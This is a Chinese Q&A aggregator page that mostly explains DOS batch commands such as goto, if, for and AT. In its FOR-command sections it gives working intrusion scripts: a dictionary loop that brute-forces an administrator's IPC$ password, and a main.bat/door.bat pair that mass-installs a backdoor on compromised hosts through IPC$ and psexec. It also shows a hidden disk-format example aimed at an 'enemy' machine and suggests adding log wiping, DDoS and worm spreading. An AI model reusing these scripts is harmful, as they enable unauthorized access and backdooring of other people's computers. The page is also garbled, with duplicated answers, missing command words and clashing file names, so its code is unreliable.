導航:首頁 > 程序命令 > dos命令goto

dos命令goto

發布時間:2022-11-28 14:08:47

A. dos常用命令

Dos常用命令
一、基礎命令
1 dir
無參數:查看當前所在目錄的文件和文件夾
/s:查看當前目錄已經其所有子目錄的文件和文件夾。
/a:查看包括隱含文件的所有文件。
/ah:只顯示出隱含文件。
/w:以緊湊方式(一行顯示5個文件)顯示文件和文件夾。
/p:以分頁方式(顯示一頁之後會自動暫停)顯示。
|more:前面那個符號是「\」上面的那個,叫做重定向符號,就是把一個
命令的結果輸出為另外一個命令的參數。more也是一個命令,dir /w |more
得到的結果和dir /w /p的結果是一樣的。
其他的參數大家可以用:dir/?查看。

2 cd
cd 目錄名:進入特定的目錄。如果看到有個目錄顯示為:abcdef ghi 就
輸入:cdabcdef.ghi進入該目錄。
cd\ 退回到根目錄。
cd..退回到上一級目錄。

3 md rd
md 目錄名:建立特定的文件夾。 (dos下面習慣叫目錄,win下面習慣叫文
件夾。呵呵!)
rd 目錄名:刪除特定的文件夾。

4 cls
清除屏幕。

5
路徑\文件名 路徑\文件名 :把一個文件拷貝到另一個地方。

6 move
move 路徑\文件名 路徑\文件名 :把一個文件移動(就是剪切+復制)到另
一個地方。

7 del
del 文件名:刪除一個文件。
del *.*:刪除當前文件夾下所有文件。
del不能刪除文件夾。

8 deltree
刪除文件夾和它下面的所有子文件夾還有文件,厲害。。。不要亂用。

9 format
format x: :x代表盤符,格式化一個分區。在dos下是用fat文件系統格式
化的,在windows2000安裝的時候會問你要不要轉換為ntfs。

10 type
type 文本文件名:顯示出文本文件的內容。

11 edit
其實這是個小程序,編輯文本文件用的。

12 ren
ren 舊文件名 新文件名:改文件名。

二、關於網路的常用命令
1 ping
ping 主機ip或名字:向目標主機發送4個icmp數據包,測試對方主機是否收
到並響應,一般常用於做普通網路是否通暢的測試。但是ping不同不代表網
絡不通,有可能是目標主機裝有防火牆並且阻止了icmp響應。
ping -t :不停的發送數據包。當然都很小,不能稱作攻擊。有些人自己寫
了一些類似於ping命令的程序,不停的發送很大的數據包,以阻塞目標主機
的網路連接。

2 net
建議是用net /?獲取具體幫助信息。實在是有很多參數,參數下面還有參
數。常用:net view \\主機 來看共享,net start/stop 服務 來啟動和停
止服務,信使服務個人不太喜歡。

3 netstat
netstat 主機:查看主機當前的tcp/ip連接狀態,如埠的狀態。

4 nbtstat
nbtstat 主機:查看主機使用的NetBIOS name。

5 tracert
tracert 主機:查看從你自己到目標逐機到底經過了那些路徑。如:
tracert www.ncie.gov.cn 然後等待。。。就會看到你經過的一個個路由節
點,一般大一點的路由器,如電信的主幹路由,除了ip以外,都有英文標示
的。

6 pathping
pathping 主機:類似tracert,但可以顯示一些tracert不能顯示出來的信
息。可以自己試試。

7 ftp
字元方式的ftp,我喜歡用;)不用裝cuteftp了。

8 telnet
字元方式的遠程登錄程序,是網路人員極其愛用的遠程登錄程序。我最近常
用來調試郵件伺服器。

9 ipconfig 非常有用的網路配置、排錯。。。命令。
不加參數顯示當前機器的網路介面狀態。
/all 先是詳細的信息。
/release 釋放當前ip。
/renew 重新申請ip。
/flushdns 刷新dns緩存。
/registerdns 重新栽dns伺服器上注冊自己。
。。。。。。

10 arp 操作當前的arp緩存。
-a 顯示arp緩存。
-d 刪除一條緩存紀錄。
-s 田家一條緩存紀錄。

11 nslookup 排除dns錯誤的利器。是一個交互的工具。使用之前請先努力弄清楚dns的作用以及dns的工作原理。

x是一個外部命令,也就是說,是一個小程序,有的時候會發現軟盤上沒有,硬碟上也沒有。。。昏倒。。。當然勇氣來使比好用,我喜歡加/e參數。
smartdrv.exe 載入磁碟緩存,參數是緩存的大小,單位是kb。
如:smartdrv 32768 就是載入32M的緩存。
緩存的作用在你安裝WIN2K的時候非常明顯!不加緩存裝WIN2K PRO要3小時左右,載入8M緩存後,只要30分鍾。
原理是在內存中劃分出一塊區域,在安裝期間不斷地把硬碟上的數據讀取到那塊緩存區域中,充分利用了內存。

AT和任務計劃作用一樣。
以下是使用方法,可以通過在命令提示符下面輸入:AT /?獲得幫助。

AT 命令安排在特定日期和時間運行命令和程序。
要使用 AT 命令,計劃服務必須已在運行中。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"

\\computername 指定遠程計算機。 如果省略這個參數,會計劃在本地計算機上運行命令。
\\127.0.0.1代表本機。和不加這個參數意思一樣。

id 指定給已計劃命令的識別號。
用來識別任務,比如你要添加好幾個任務,ID=1就代表第一個嘍!

/delete 刪除某個已計劃的命令。如果省略 id,
計算機上所有已計劃的命令都會被刪除。
/yes 不需要進一步確認時,跟刪除所有作業
的命令一起使用。
time 指定運行命令的時間。
/interactive 允許作業在運行時,與當時登錄的用戶
桌面進行交互。
/every:date[,...] 每個月或每個星期在指定的日期運行命令。
如果省略日期,則默認為在每月的本日運行。
/next:date[,...] 指定在下一個指定日期(如,下周四)運行命令。
如果省略日期,則默認為在每月的本日運行。
"command" 准備運行的 Windows NT 命令或批處理程序。

B. 關於dos中goto語句的,幫幫忙啊,

當然,DOS下的GOTO語句只是轉向,而非選擇,也就是說,當d盤存在12.txt時,會轉到_COPY標號處執行,當然向下執行時,同時會執行時_DONE語句的,因為goto是轉到執行,而不是不執行以下含有標號的語句的。

但我怎麼也沒有想通過,如果條件中d盤不存在12.txt文件時,會轉到_DONE處執行,這時你怎麼去拷貝d盤中的12.txt文件呢?真還有這樣的條件嗎?

一樓的方案不錯,它是以退出DOS視窗為代價的。真正的單分支結構這樣寫才行:

@ECHO OFF
IF EXIST d:\12.txt (GOTO _COPY) else (GOTO _DONE)
:_COPY
COPY d:\12.txt e:\
GOTO _Exit
:_DONE
d:\12.txt f:\
:_EXIT

這樣只要保證進入上一分支時進行再次的轉向就可以了!

C. ECHO , FOR ,GOTO ,IF ,SET,DEL是啥意思有啥用法在哪些軟體里可以用在DOS 中怎麼用

echo 是指後面的命令不顯示出來比如寫在詞本中寫入start c:命令保存為.bat或.cmd的後綴名,雙擊執行時會顯示出start c:這個命令,而在前面加上start則不會顯示命令 for用來執行一個循環 goto用來執行一個跳轉,比如goto a則會跳轉到:a後面的語(注意前面是一個冒號) if用來作選擇,一般與跳轉也就是goto語句一起使用 set 用來設置環境變數的 右鍵單擊"我的電腦",選擇"屬性",單擊"環境變數"中的classpath 就可以通過set命令來查看和設置 del就是delete刪除的意思,後面直接跟文件名用來刪除文件,注意後面只能跟文件,而不是文件夾 上面這些命令都可以接問號在dos窗口中加?來獲得他們的用法,如echo ?,for ?等

D. dos 命令

1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

E. 求DOS批處理命令

要實現什麼,自己找吧

一.簡單批處理內部命令簡介

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。

語法:

echo [{on│off}] [message]
Sample:@echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命

令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令

表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使

用的命令啦。

Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這

個參數給我們,效果和/y是一樣的。)

3.Goto 命令

指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。

語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end

標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令

就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令

注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你

自己日後修改。

Rem Message
Sample:@Rem Here is the description.

5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .

Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin

在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入

驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽

。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。

語法:
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數:
[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令

調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數

執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE不等應用程序終止就返回命令提示。如果在命令腳本

內執行,該新行為則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提

示可輸入的字元,之間無空格。它的返回碼為1234......

如: choice /c:dme defrag,mem,end

將顯示
defrag,mem,end[D,M,E]?

Sample:
Sample.bat的內容如下:

@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行

標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後

都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。

有三種格式:

1)、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)

如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2)、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如if exist config.sys edit config.sys

3)、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令

for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到支持:
FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用

當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的下一個文件之前,每份文件都已被打開、讀

取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符號字

符串變數值調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白

行。您可通過指定可選 "options" 參數替代默認解析操作。這個帶引號的字元串包括一個或多個指定不同

解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m 符號字元串中的最後一個字元星號,那麼額外的變數將在最後一

個符號解析之分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 file-set中使用雙引號擴起

文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for

程序體;用逗號和/或 空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用

%j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用

雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會

被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens=

一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或'Z' 的變數。請記住,FOR 變數是單一字

母、分大小寫和全局的;同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。

這樣,該字元串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元

串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此

,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變

量未被定義,或者沒有找到文件,此組合鍵會擴充空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似

%I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。

我們用net use file://ip/ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下

密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use file://ip/ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給

find命令--
for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator"│find ":命令成功完

成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會

變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵

,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數

%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼

(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容

是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。

代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------

